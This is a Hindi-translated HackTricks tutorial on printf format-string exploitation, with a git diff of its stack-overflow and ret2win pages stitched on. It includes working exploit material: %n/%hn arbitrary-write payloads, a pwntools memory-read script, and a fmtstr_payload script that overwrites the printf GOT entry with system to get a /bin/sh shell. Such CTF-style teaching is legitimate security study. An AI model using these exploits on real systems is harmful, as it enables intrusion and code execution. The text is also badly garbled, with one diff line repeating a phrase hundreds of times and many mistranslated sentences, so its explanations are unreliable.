+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करना चाहते हैं? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें +* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मेरा** ट्विटर 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**. +* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को**. + +
+ +## मूल जानकारी + +C में **`printf`** एक फ़ंक्शन है जिसका उपयोग **कुछ स्ट्रिंग प्रिंट** करने के लिए किया जा सकता है। इस फ़ंक्शन की **पहली पैरामीटर** जिसकी उम्मीद है, वह **फॉर्मेटर्स के साथ कच्चा टेक्स्ट** है। उम्मीद की जाने वाली **अगली पैरामीटर** हैं **मान** जो कि कच्चे टेक्स्ट से **फॉर्मेटर्स** को **बदलने** के लिए हैं। + +यह सुरक्षा गड़बड़ी उस समय प्रकट होती है जब एक **हमलावर टेक्स्ट का उपयोग पहली वार्गुमेंट के रूप में** इस फ़ंक्शन के लिए किया जाता है। हमलावर को **विशेष इनपुट बनाने की क्षमता** होगी जो **printf फॉर्मेट स्ट्रिंग** की क्षमताओं का दुरुपयोग करके किसी भी डेटा को पढ़ने और **किसी भी पते में कोई भी डेटा लिखने (पढ़ने/लिखने योग्य)** के लिए सक्षम होगा। इस तरह से **विविध कोड को निष्पादित** करने की क्षमता होगी। + +#### फॉर्मेटर्स: +```bash +%08x —> 8 hex bytes +%d —> Entire +%u —> Unsigned +%s —> String +%n —> Number of written bytes +%hn —> Occupies 2 bytes instead of 4 +$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 +``` +**उदाहरण:** + +* भेद्य उदाहरण: +```c +char buffer[30]; +gets(buffer); // Dangerous: takes user input without restrictions. +printf(buffer); // If buffer contains "%x", it reads from the stack. +``` +* सामान्य उपयोग: +```c +int value = 1205; +printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 +``` +* गुम होने वाले तर्कों के साथ: +```c +printf("%x %x %x", value); // Unexpected output: reads random values from the stack. +``` +### **पॉइंटर तक पहुंचना** + +फॉर्मेट **`%$x`**, जहां `n` एक संख्या है, printf को इंडिकेट करने की अनुमति देता है कि वह n पैरामीटर (स्टैक से) का चयन करे। तो अगर आप printf का उपयोग करके स्टैक से 4वें पैरामीटर को पढ़ना चाहते हैं तो आप यह कर सकते हैं: +```c +printf("%x %x %x %x") +``` +और आप पहले से चौथे पैरामीटर तक पढ़ सकते हैं। + +या आप यह कर सकते हैं: +```c +printf("$4%x") +``` +और सीधे चौथे को पढ़ें। + +ध्यान दें कि हमलावर `pr`**`intf` पैरामीटर को नियंत्रित करता है, जिसका अर्थ है कि** जब `printf` को कॉल किया जाता है, तो उसका इनपुट स्टैक में होगा, जिसका मतलब है कि वह विशिष्ट मेमोरी पते स्टैक में लिख सकता है। + +{% hint style="danger" %} +इस इनपुट को नियंत्रित करने वाला हमलावर, **स्टैक में विचित्र पते जोड़ सकता है और `printf` को उन्हें एक्सेस करने की अनुमति मिलेगी**। अगले खंड में यह व्यवहार कैसे उपयोग करने के बारे में समझाया जाएगा। +{% endhint %} + +## **विचित्र पठन** + +यह संभव है कि हम **`$n%s`** फॉर्मेटर का उपयोग करें ताकि **`printf`** **पते** को प्राप्त कर सके जो **n स्थान** में स्थित है, उसके बाद और **उसे एक स्ट्रिंग के रूप में प्रिंट करें** (0x00 पाए जाने तक प्रिंट करें)। इसलिए यदि बाइनरी का बेस पता **`0x8048000`** है, और हमें पता है कि उपयोगकर्ता इनपुट स्टैक में 4वें स्थान से शुरू होता है, तो बाइनरी की शुरुआत प्रिंट करना संभव है: +```python +from pwn import * + +p = process('./bin') + +payload = b'%6$p' #4th param +payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input) +payload += p32(0x8048000) #6th param + +p.sendline(payload) +log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' +``` +{% hint style="danger" %} +ध्यान दें कि आप 0x8048000 पते को इनपुट की शुरुआत में नहीं डाल सकते क्योंकि तार उस पते के अंत में 0x00 को जोड़ देगा। +{% endhint %} + +## **अनियमित लेखन** + +फॉर्मेटर **`$%n`** **उस पते पर लिखता है** जिसे स्टैक में \ पैरामीटर में निर्दिष्ट किया गया है। यदि एक हमलावर printf के साथ जितने वर्ण लिख सकता है, तो वह **`$%n`** को किसी भी पते पर किसी भी संख्या लिखने की क्षमता प्राप्त होगी। + +भाग्यशाली तौर पर, संख्या 9999 लिखने के लिए, इसे करने के लिए इनपुट में 9999 "A" जोड़ने की आवश्यकता नहीं है, इसे करने के लिए फॉर्मेटर **`%.%$n`** का उपयोग करना संभव है ताकि **``** संख्या को **`num` स्थान द्वारा संकेतित पते** में लिखा जा सके। +```bash +AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param +AAAA.%500\$08x —> Param at offset 500 +``` +हालांकि, ध्यान दें कि आम तौर पर पता लिखने के लिए `0x08049724` जैसे पते को लिखने के लिए (जो एक बहुत बड़ी संख्या है एक साथ लिखने के लिए), **`$n` की बजाय `$hn` का उपयोग किया जाता है**। इससे **केवल 2 बाइट लिखने** की अनुमति होती है। इसलिए यह कार्रवाई दो बार की जाती है, पहले सबसे उच्च 2B के लिए और दूसरी बार सबसे कम वाले के लिए। + +इसलिए, यह सुरक्षा दोष किसी भी पते में कुछ भी लिखने की अनुमति देता है (विवेकात्मक लेखन)। + +इस उदाहरण में, लक्ष्य होगा किसी बाद में कॉल किया जाने वाला एक **फ़ंक्शन** के **GOT** तालिका का **पता** लिखना। यद्यपि इससे अन्य विवेकात्मक लेखन को दुरुपयोग किया जा सकता है: + +{% content-ref url="../arbitrary-write-2-exec/" %} +[arbitrary-write-2-exec](../arbitrary-write-2-exec/) +{% endcontent-ref %} + +हम एक **फ़ंक्शन** को **अधिकारित** करने जा रहे हैं जो अपने **आर्ग्यूमेंट्स** को **उपयोगकर्ता** से **प्राप्त** करता है और इसे **`system`** **फ़ंक्शन** की ओर इशारा करता है।\ +जैसा कि उल्लिखित है, पता लिखने के लिए आम तौर पर 2 कदम आवश्यक होते हैं: आपको **पहले 2 बाइट** पते का लिखना होता है और फिर दूसरे 2। इसे करने के लिए **`$hn`** का उपयोग किया जाता है। + +* **HOB** पते के 2 उच्च बाइट को बुलाया जाता है +* **LOB** पते के 2 निचले बाइट को बुलाया जाता है + +फिर, चाहे जैसे ही फॉर्मेट स्ट्रिंग काम करती है, आपको **सबसे छोटा पहले लिखना** होता है \[HOB, LOB] में और फिर दूसरा। + +यदि HOB < LOB\ +`[पता+2][पता]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` + +यदि HOB > LOB\ +`[पता+2][पता]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` + +HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB + +{% code overflow="wrap" %} +```bash +python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' +``` +{% endcode %} + +### Pwntools टेम्पलेट + +आप इस प्रकार की सुरक्षा दोष के लिए एक उत्पीड़न तैयार करने के लिए एक टेम्पलेट पा सकते हैं: + +{% content-ref url="format-strings-template.md" %} +[format-strings-template.md](format-strings-template.md) +{% endcontent-ref %} + +या यह मौलिक उदाहरण [**यहाँ से**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) मिल सकता है: +```python +from pwn import * + +elf = context.binary = ELF('./got_overwrite-32') +libc = elf.libc +libc.address = 0xf7dc2000 # ASLR disabled + +p = process() + +payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']}) +p.sendline(payload) + +p.clean() + +p.sendline('/bin/sh') + +p.interactive() +``` +## अन्य उदाहरण और संदर्भ + +* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) +* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)! + +* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें! +* [**दी पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह +* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** में पीआर जमा करके [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)। + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md index 14d6f5c3b..230c7881d 100644 --- a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md @@ -2,28 +2,28 @@
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)! HackTricks का समर्थन करने के अन्य तरीके: -* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें! +* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! * [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें +* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें * **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके। +* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-## स्टैक ओवरफ्लो क्या है +## स्टैक ओवरफ्ल क्या है -**स्टैक ओवरफ्लो** एक सुरक्षा दोष है जो उस समय होता है जब कोई प्रोग्राम स्टैक में अधिक डेटा लिखता है जितना उसे धारित करने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **पड़ोसी मेमोरी स्थान को अधिक लिखने** की वजह से मान्य डेटा का क्षति, नियंत्रण विघटन, और संभावित दुर्भाग्यपूर्ण कोड का क्रमांकन करता है। यह समस्या अक्सर उस्ताद फ़ंक्शनों के उपयोग के कारण उत्पन्न होती है जो इनपुट पर सीमा की जांच नहीं करते। +एक **स्टैक ओवरफ्लो** एक सुरक्षा दोष है जो उस समय होता है जब एक प्रोग्राम स्टैक में अधिक डेटा लिखता है जितना इसे धारित किया गया है। यह अतिरिक्त डेटा **पड़ोसी मेमोरी स्थान को अधिक लिखेगा**, जिससे मान्य डेटा का क्षति होगा, नियंत्रण प्रवाह विघटन होगा, और संभावित रूप से दुर्भाग्यपूर्ण कोड का क्रियान्वयन। यह समस्या अक्सर असुरक्षित फ़ंक्शनों का उपयोग करने के कारण उत्पन्न होती है जो इनपुट पर सीमा की जांच नहीं करते। -इस ओवरराइट की मुख्य समस्या यह है कि **EIP** और **EBP** प्वाइंटर पिछले फ़ंक्शन में वापस जाने के लिए **स्टैक में संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट कर सकता है और **प्रोग्राम के निष्पादन फ्लो को नियंत्रित** कर सकता है। +इस ओवरराइट की मुख्य समस्या यह है कि **EIP** और **EBP** प्वाइंटर पिछले फ़ंक्शन में वापस जाने के लिए **स्टैक में संग्रहीत होते हैं**। इसलिए, एक हमलावियक्ता उन्हें ओवरराइट कर सकेगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित कर सकेगा**। -यह सुरक्षा दोष आम तौर पर उत्पन्न होता है क्योंकि एक फ़ंक्शन **स्टैक में उससे अधिक बाइट कॉपी करता है जितना उसके लिए आवंटित किया गया है**, इसलिए वह स्टैक के अन्य हिस्सों को ओवरराइट कर सकता है।\ -कुछ सामान्य फ़ंक्शन जिनके लिए यह विकल्पनीय हो सकता है: `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`... +यह सुरक्षा दोष आम तौर पर उत्पन्न होता है क्योंकि एक फ़ंक्शन **स्टैक में उससे अधिक बाइट कॉपी करता है जितना इसके लिए आवंटित किया गया है**, इसलिए वह स्टैक के अन्य हिस्सों को ओवरराइट कर सकता है।\ +कुछ सामान्य फ़ंक्शन जो इसमें वंशबद्ध हो सकते हैं हैं: `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`... -उदाहरण के लिए, निम्नलिखित फ़ंक्शन विकल्पनीय हो सकते हैं: +उदाहरण के लिए, निम्नलिखित फ़ंक्शन वंशबद्ध हो सकते हैं: ```c void vulnerable() { char buffer[128]; @@ -34,7 +34,13 @@ printf("You entered: %s\n", buffer); ``` ### तुकड़ों को खोजना -स्टैक ओवरफ्लो को खोजने का सबसे सामान्य तरीका बहुत बड़े इनपुट `A` का देना है (जैसे `python3 -c 'print("A"*1000)'`) और `Segmentation Fault` की उम्मीद है जिससे पता चलता है कि **पता चला कि पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **पता चला है कि **प +स्टैक ओवरफ्लो को खोजने का सबसे सामान्य तरीका बहुत बड़े इनपुट `A` का देना है (जैसे `python3 -c 'print("A"*1000)'`) और `Segmentation Fault` की उम्मीद है जिससे पता चलता है कि **पता चला कि पता चला कि **_**0x41414141**_** का पता लगाने की कोशिश की गई थी**। + +इसके अतिरिक्त, एक बार जब आपने पाया है कि स्टैक ओवरफ्लो संवर्धनशीलता है, तो आपको उस समय तक का अफसोस खोजना होगा जब तक **EIP पॉइंटर को अधिलेखित करना संभव हो**। इसके लिए आम तौर पर **डी ब्रुइन सीक्वेंस** का उपयोग किया जाता है। जो एक दिए गए वर्णमाला के आकार _k_ और लंबाई _n_ के उपक्रमों के लिए एक **चक्रीय क्रम है जिसमें हर संभावित उपक्रम लंबाई **_**n**_** का एक बार एक साथ दिखाई देता है** जैसे कि एक संयुक्त उपक्रम। + +इस तरह, हैंड से EIP को अधिलेखित करने वाले ऑफसेट को खोजने की आवश्यकता नहीं होती है, इसे एक इनकार के रूप में उपयोग करना संभव है और फिर उस बाइट्स के ऑफसेट को खोजना संभव है जिन्होंने इसे अधिलेखित कर दिया। + +इसका उपयोग करना संभव है **pwntools** के लिए: ```python from pwn import * @@ -53,39 +59,41 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## अधिकतम उत्पीड़न का उपयोग करना +## स्टैक ओवरफ्लो का शोषण -एक उत्पीड़न के दौरान (यदि उत्पीड़न का आकार पर्याप्त बड़ा है) आप स्टैक के अंदर अन्य चरों के मानों को अधिक कर सकते हैं जब तक ईबीपी और ईआईपी (या और भी) तक न पहुंच जाएं।\ -इस प्रकार की सुरक्षा कमजोरी का उपयोग करने का सबसे सामान्य तरीका **ईआईपी पॉइंटर को संशोधित करना** है ताकि जब फ़ंक्शन समाप्त होता है, **नियंत्रण प्रवाह उपयोगकर्ता द्वारा निर्दिष्ट स्थान पर पुनर्निर्देशित हो**। +ओवरफ्लो के दौरान (यदि ओवरफ्लो का आकार पर्याप्त बड़ा हो) आप स्टैक के अंदर अन्य चरों के मानों को अधिक कर सकते हैं जब तक EBP और EIP (या और भी अधिक) तक न पहुंच जाएं।\ +इस प्रकार की सुरक्षा की इस प्रकार की दुरुपयोग करने का सबसे सामान्य तरीका है **EIP पॉइंटर को संशोधित करना** ताकि जब फ़ंक्शन समाप्त होता है, **नियंत्रण प्रवाह उस स्थान पर पुनर्निर्देशित हो जाए** जहां उपयोगकर्ता ने इस पॉइंटर में निर्दिष्ट किया है। -हालांकि, अन्य परिदृश्यों में शायद केवल **स्टैक में कुछ चरों के मानों को अधिक करना** ही उत्पीड़न के लिए पर्याप्त हो सकता है (जैसे कि आसान सीटीएफ चुनौतियों में)। +हालांकि, अन्य परिदृश्यों में शायद केवल **स्टैक में कुछ चरों के मानों को अधिक करना** ही उत्पीड़न के लिए पर्याप्त हो सकता है (जैसे कि आसान CTF चुनौतियों में)। ### Ret2win -इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फ़ंक्शन** होता है जो **कभी नहीं बुलाया जाता** और जिसे **आपको बुलाना होगा ताकि जीत सकें**। इन चुनौतियों के लिए आपको बस **ईआईपी को अधिक करने के लिए ऑफसेट खोजना** होगा और **फ़ंक्शन का पता लगाना** होगा (सामान्यत: [**ASLR**](../common-binary-protections/aslr.md) अक्षम होगा) ताकि जब संक्रमित फ़ंक्शन वापस लौटता है, छुपा हुआ फ़ंक्शन बुलाया जाएगा: +इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फ़ंक्शन** होता है जो **कभी नहीं बुलाया जाता** और **जिसे आपको जीतने के लिए बुलाना होगा**। इन चुनौतियों में आपको बस **EIP को अधिक करने के लिए ऑफसेट खोजना** होगा और **फ़ंक्शन का पता लगाना** होगा (सामान्यत: [**ASLR**](../common-binary-protections-and-bypasses/aslr/) अक्षम होगा) ताकि जब संकटपूर्ण फ़ंक्शन वापस लौटता है, छुपा हुआ फ़ंक्शन बुलाया जाएगा: {% content-ref url="ret2win.md" %} [ret2win.md](ret2win.md) {% endcontent-ref %} -### Ret2Shellcode +### स्टैक शेलकोड + +इस परिदृश्य में हमलावर एक शेलकोड को स्टैक में रख सकता है और नियंत्रित EIP का दुरुपयोग करके शेलकोड पर जाने और हमलावर कोड को निष्पादित करने के लिए उपयोग कर सकता है: + +{% content-ref url="stack-shellcode.md" %} +[stack-shellcode.md](stack-shellcode.md) +{% endcontent-ref %} + +## ROP + +यह तकनीक पिछली तकनीक को अग्रणी सुरक्षा को छोड़ने के लिए मुख्य सुरक्षा को छलने के लिए मौलिक ढांचा है: **कोई क्रियात्मक स्टैक**। और यह बाइनरी में मौजूद निर्देशिकाओं का दुरुपयोग करके विभिन्न अन्य तकनीकों को क्रियान्वित करने की अनुमति देता है (ret2lib, ret2syscall...) जो विचारहीन आदेशों को निष्पादित करने के लिए अर्बिट्रेट कमांड करने की अनुमति देता है: + +{% content-ref url="rop-return-oriented-programing.md" %} +[rop-return-oriented-programing.md](rop-return-oriented-programing.md) +{% endcontent-ref %} ## सुरक्षा के प्रकार -{% content-ref url="../common-binary-protections/" %} -[common-binary-protections](../common-binary-protections/) +कई सुरक्षा प्रकार हैं जो दुर्भाग्यता का शोषण रोकने का प्रयास कर रहे हैं, उन्हें जांचें: + +{% content-ref url="../common-binary-protections-and-bypasses/" %} +[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/) {% endcontent-ref %} - -
- -शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)! - -HackTricks का समर्थन करने के अन्य तरीके: - -* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) का खोजें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह खोजें -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) **पर फ़ॉलो** करें। -* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में पीआर जमा करके। - -
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md index 288fbeec7..39b8faf64 100644 --- a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md @@ -6,17 +6,17 @@ HackTricks का समर्थन करने के अन्य तरीके: -* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें! +* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें। +* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें +* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें। * **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। ## मूलभूत जानकारी -**Ret2win** चैलेंज **Capture The Flag (CTF)** प्रतियोगिताओं में एक लोकप्रिय श्रेणी है, विशेष रूप से उन कार्यों में जो **बाइनरी उत्तेजन** को शामिल करते हैं। लक्ष्य एक दिए गए बाइनरी में एक संकट का शोध करना है ताकि बाइनरी के भीतर एक विशिष्ट, अबिनित कार्य को निष्पादित करें, जिसे आम तौर पर `win`, `ret2win` आदि कुछ नाम दिया जाता है। यह कार्य, जब निष्पादित किया जाता है, आम तौर पर एक ध्वज या सफलता संदेश प्रिंट करता है। चुनौती आम तौर पर स्टैक पर **वापसी पता** को ओवरराइट करने को शामिल करती है ताकि निर्देशित कार्य में निष्पादन धारा को भटकाया जा सके। 